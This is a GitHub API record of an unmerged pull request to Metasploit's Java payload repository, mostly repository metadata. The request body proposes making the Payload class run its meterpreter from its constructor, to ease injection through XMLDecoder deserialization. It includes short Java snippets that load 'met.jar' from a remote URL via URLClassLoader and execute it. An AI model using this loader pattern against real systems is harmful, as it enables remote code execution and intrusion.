{"action":"closed","number":10,"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-javapayload/pulls/10","id":12593217,"html_url":"https://github.com/rapid7/metasploit-javapayload/pull/10","diff_url":"https://github.com/rapid7/metasploit-javapayload/pull/10.diff","patch_url":"https://github.com/rapid7/metasploit-javapayload/pull/10.patch","issue_url":"https://api.github.com/repos/rapid7/metasploit-javapayload/issues/10","number":10,"state":"closed","locked":false,"title":"Allow payload execution during object creation","user":{"login":"pwntester","id":125701,"avatar_url":"https://avatars.githubusercontent.com/u/125701?v=3","gravatar_id":"","url":"https://api.github.com/users/pwntester","html_url":"https://github.com/pwntester","followers_url":"https://api.github.com/users/pwntester/followers","following_url":"https://api.github.com/users/pwntester/following{/other_user}","gists_url":"https://api.github.com/users/pwntester/gists{/gist_id}","starred_url":"https://api.github.com/users/pwntester/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pwntester/subscriptions","organizations_url":"https://api.github.com/users/pwntester/orgs","repos_url":"https://api.github.com/users/pwntester/repos","events_url":"https://api.github.com/users/pwntester/events{/privacy}","received_events_url":"https://api.github.com/users/pwntester/received_events","type":"User","site_admin":false},"body":"Injecting a Java meterpreter into restricted contexts make it difficult to call:\r\nURLClassLoader u = new URLClassLoader(new URL[]{new URL(\"url to met.jar\")});\r\nClass c = u.loadClass(\"metasploit.Payload\");\r\nc.getMethod(\"main\",new Class[]{Class.forName(\"[Ljava.lang.String;\")}).invoke(null,new Object[]{new String[0]});\r\n\r\nThis is the case for XMLDecoder deserialization where \"invoke\" is not allowed and methods cannot be passed null as arguments. However its much easier to do:\r\n\r\nURLClassLoader u = new URLClassLoader(new URL[]{new URL(\"url to met.jar\")});\r\nu.loadClass(\"metasploit.Payload\").newInstance();\r\n\r\nAnd in order to do that, the Payload class require a constructor that runs the payload.","created_at":"2014-02-16T17:24:54Z","updated_at":"2015-03-16T00:08:20Z","closed_at":"2015-03-16T00:08:20Z","merged_at":null,"merge_commit_sha":"0c91c218a37b044eab149e05275a52ee29647850","assignee":null,"milestone":null,"commits_url":"https://api.github.com/repos/rapid7/metasploit-javapayload/pulls/10/commits","review_comments_url":"https://api.github.com/repos/rapid7/metasploit-javapayload/pulls/10/comments","review_comment_url":"https://api.github.com/repos/rapid7/metasploit-javapayload/pulls/comments{/number}","comments_url":"https://api.github.com/repos/rapid7/metasploit-javapayload/issues/10/comments","statuses_url":"https://api.github.com/repos/rapid7/metasploit-javapayload/statuses/ae9be2a494aaca7b28c81c6076d546cf92f611f2","head":{"label":"pwntester:master","ref":"master","sha":"ae9be2a494aaca7b28c81c6076d546cf92f611f2","user":{"login":"pwntester","id":125701,"avatar_url":"https://avatars.githubusercontent.com/u/125701?v=3","gravatar_id":"","url":"https://api.github.com/users/pwntester","html_url":"https://github.com/pwntester","followers_url":"https://api.github.com/users/pwntester/followers","following_url":"https://api.github.com/users/pwntester/following{/other_user}","gists_url":"https://api.github.com/users/pwntester/gists{/gist_id}","starred_url":"https://api.github.com/users/pwntester/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pwntester/subscriptions","organizations_url":"https://api.github.com/users/pwntester/orgs","repos_url":"https://api.github.com/users/pwntester/repos","events_url":"https://api.github.com/users/pwntester/events{/privacy}","received_events_url":"https://api.github.com/users/pwntester/received_events","type":"User","site_admin":false},"repo":{"id":16884583,"name":"metasploit-javapayload","full_name":"pwntester/metasploit-javapayload","owner":{"login":"pwntester","id":125701,"avatar_url":"https://avatars.githubusercontent.com/u/125701?v=3","gravatar_id":"","url":"https://api.github.com/users/pwntester","html_url":"https://github.com/pwntester","followers_url":"https://api.github.com/users/pwntester/followers","following_url":"https://api.github.com/users/pwntester/following{/other_user}","gists_url":"https://api.github.com/users/pwntester/gists{/gist_id}","starred_url":"https://api.github.com/users/pwntester/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pwntester/subscriptions","organizations_url":"https://api.github.com/users/pwntester/orgs","repos_url":"https://api.github.com/users/pwntester/repos","events_url":"https://api.github.com/users/pwntester/events{/privacy}","received_events_url":"https://api.github.com/users/pwntester/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/pwntester/metasploit-javapayload","description":"Metasploit's Java payloads, including Java and Android Meterpreters","fork":true,"url":"https://api.github.com/repos/pwntester/metasploit-javapayload","forks_url":"https://api.github.com/repos/pwntester/metasploit-javapayload/forks","keys_url":"https://api.github.com/repos/pwntester/metasploit-javapayload/keys{/key_id}","collaborators_url":"https://api.github.com/repos/pwntester/metasploit-javapayload/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/pwntester/metasploit-javapayload/teams","hooks_url":"https://api.github.com/repos/pwntester/metasploit-javapayload/hooks","issue_events_url":"https://api.github.com/repos/pwntester/metasploit-javapayload/issues/events{/number}","events_url":"https://api.github.com/repos/pwntester/metasploit-javapayload/events","assignees_url":"https://api.github.com/repos/pwntester/metasploit-javapayload/assignees{/user}","branches_url":"https://api.github.com/repos/pwntester/metasploit-javapayload/branches{/branch}","tags_url":"https://api.github.com/repos/pwntester/metasploit-javapayload/tags","blobs_url":"https://api.github.com/repos/pwntester/metasploit-javapayload/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/pwntester/metasploit-javapayload/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/pwntester/metasploit-javapayload/git/refs{/sha}","trees_url":"https://api.github.com/repos/pwntester/metasploit-javapayload/git/trees{/sha}","statuses_url":"https://api.github.com/repos/pwntester/metasploit-javapayload/statuses/{sha}","languages_url":"https://api.github.com/repos/pwntester/metasploit-javapayload/languages","stargazers_url":"https://api.github.com/repos/pwntester/metasploit-javapayload/stargazers","contributors_url":"https://api.github.com/repos/pwntester/metasploit-javapayload/contributors","subscribers_url":"https://api.github.com/repos/pwntester/metasploit-javapayload/subscribers","subscription_url":"https://api.github.com/repos/pwntester/metasploit-javapayload/subscription","commits_url":"https://api.github.com/repos/pwntester/metasploit-javapayload/commits{/sha}","git_commits_url":"https://api.github.com/repos/pwntester/metasploit-javapayload/git/commits{/sha}","comments_url":"https://api.github.com/repos/pwntester/metasploit-javapayload/comments{/number}","issue_comment_url":"https://api.github.com/repos/pwntester/metasploit-javapayload/issues/comments{/number}","contents_url":"https://api.github.com/repos/pwntester/metasploit-javapayload/contents/{+path}","compare_url":"https://api.github.com/repos/pwntester/metasploit-javapayload/compare/{base}...{head}","merges_url":"https://api.github.com/repos/pwntester/metasploit-javapayload/merges","archive_url":"https://api.github.com/repos/pwntester/metasploit-javapayload/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/pwntester/metasploit-javapayload/downloads","issues_url":"https://api.github.com/repos/pwntester/metasploit-javapayload/issues{/number}","pulls_url":"https://api.github.com/repos/pwntester/metasploit-javapayload/pulls{/number}","milestones_url":"https://api.github.com/repos/pwntester/metasploit-javapayload/milestones{/number}","notifications_url":"https://api.github.com/repos/pwntester/metasploit-javapayload/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/pwntester/metasploit-javapayload/labels{/name}","releases_url":"https://api.github.com/repos/pwntester/metasploit-javapayload/releases{/id}","created_at":"2014-02-16T12:43:43Z","updated_at":"2014-02-17T12:00:50Z","pushed_at":"2014-02-17T12:00:49Z","git_url":"git://github.com/pwntester/metasploit-javapayload.git","ssh_url":"git@github.com:pwntester/metasploit-javapayload.git","clone_url":"https://github.com/pwntester/metasploit-javapayload.git","svn_url":"https://github.com/pwntester/metasploit-javapayload","homepage":"","size":636,"stargazers_count":0,"watchers_count":0,"language":"Java","has_issues":false,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"open_issues_count":0,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"rapid7:master","ref":"master","sha":"9e5f952237c9ab46c79555d961bbce0892573454","user":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"repo":{"id":10631618,"name":"metasploit-javapayload","full_name":"rapid7/metasploit-javapayload","owner":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/rapid7/metasploit-javapayload","description":"Metasploit's Java payloads, including Java and Android Meterpreters","fork":false,"url":"https://api.github.com/repos/rapid7/metasploit-javapayload","forks_url":"https://api.github.com/repos/rapid7/metasploit-javapayload/forks","keys_url":"https://api.github.com/repos/rapid7/metasploit-javapayload/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rapid7/metasploit-javapayload/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rapid7/metasploit-javapayload/teams","hooks_url":"https://api.github.com/repos/rapid7/metasploit-javapayload/hooks","issue_events_url":"https://api.github.com/repos/rapid7/metasploit-javapayload/issues/events{/number}","events_url":"https://api.github.com/repos/rapid7/metasploit-javapayload/events","assignees_url":"https://api.github.com/repos/rapid7/metasploit-javapayload/assignees{/user}","branches_url":"https://api.github.com/repos/rapid7/metasploit-javapayload/branches{/branch}","tags_url":"https://api.github.com/repos/rapid7/metasploit-javapayload/tags","blobs_url":"https://api.github.com/repos/rapid7/metasploit-javapayload/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rapid7/metasploit-javapayload/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rapid7/metasploit-javapayload/git/refs{/sha}","trees_url":"https://api.github.com/repos/rapid7/metasploit-javapayload/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rapid7/metasploit-javapayload/statuses/{sha}","languages_url":"https://api.github.com/repos/rapid7/metasploit-javapayload/languages","stargazers_url":"https://api.github.com/repos/rapid7/metasploit-javapayload/stargazers","contributors_url":"https://api.github.com/repos/rapid7/metasploit-javapayload/contributors","subscribers_url":"https://api.github.com/repos/rapid7/metasploit-javapayload/subscribers","subscription_url":"https://api.github.com/repos/rapid7/metasploit-javapayload/subscription","commits_url":"https://api.github.com/repos/rapid7/metasploit-javapayload/commits{/sha}","git_commits_url":"https://api.github.com/repos/rapid7/metasploit-javapayload/git/commits{/sha}","comments_url":"https://api.github.com/repos/rapid7/metasploit-javapayload/comments{/number}","issue_comment_url":"https://api.github.com/repos/rapid7/metasploit-javapayload/issues/comments{/number}","contents_url":"https://api.github.com/repos/rapid7/metasploit-javapayload/contents/{+path}","compare_url":"https://api.github.com/repos/rapid7/metasploit-javapayload/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rapid7/metasploit-javapayload/merges","archive_url":"https://api.github.com/repos/rapid7/metasploit-javapayload/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rapid7/metasploit-javapayload/downloads","issues_url":"https://api.github.com/repos/rapid7/metasploit-javapayload/issues{/number}","pulls_url":"https://api.github.com/repos/rapid7/metasploit-javapayload/pulls{/number}","milestones_url":"https://api.github.com/repos/rapid7/metasploit-javapayload/milestones{/number}","notifications_url":"https://api.github.com/repos/rapid7/metasploit-javapayload/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rapid7/metasploit-javapayload/labels{/name}","releases_url":"https://api.github.com/repos/rapid7/metasploit-javapayload/releases{/id}","created_at":"2013-06-11T21:47:38Z","updated_at":"2015-02-03T16:44:22Z","pushed_at":"2015-02-02T19:06:50Z","git_url":"git://github.com/rapid7/metasploit-javapayload.git","ssh_url":"git@github.com:rapid7/metasploit-javapayload.git","clone_url":"https://github.com/rapid7/metasploit-javapayload.git","svn_url":"https://github.com/rapid7/metasploit-javapayload","homepage":"","size":1086,"stargazers_count":22,"watchers_count":22,"language":"Java","has_issues":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":38,"mirror_url":null,"open_issues_count":9,"forks":38,"open_issues":9,"watchers":22,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-javapayload/pulls/10"},"html":{"href":"https://github.com/rapid7/metasploit-javapayload/pull/10"},"issue":{"href":"https://api.github.com/repos/rapid7/metasploit-javapayload/issues/10"},"comments":{"href":"https://api.github.com/repos/rapid7/metasploit-javapayload/issues/10/comments"},"review_comments":{"href":"https://api.github.com/repos/rapid7/metasploit-javapayload/pulls/10/comments"},"review_comment":{"href":"https://api.github.com/repos/rapid7/metasploit-javapayload/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/rapid7/metasploit-javapayload/pulls/10/commits"},"statuses":{"href":"https://api.github.com/repos/rapid7/metasploit-javapayload/statuses/ae9be2a494aaca7b28c81c6076d546cf92f611f2"}},"merged":false,"mergeable":true,"mergeable_state":"unstable","merged_by":null,"comments":5,"review_comments":5,"commits":4,"additions":11,"deletions":1,"changed_files":2}}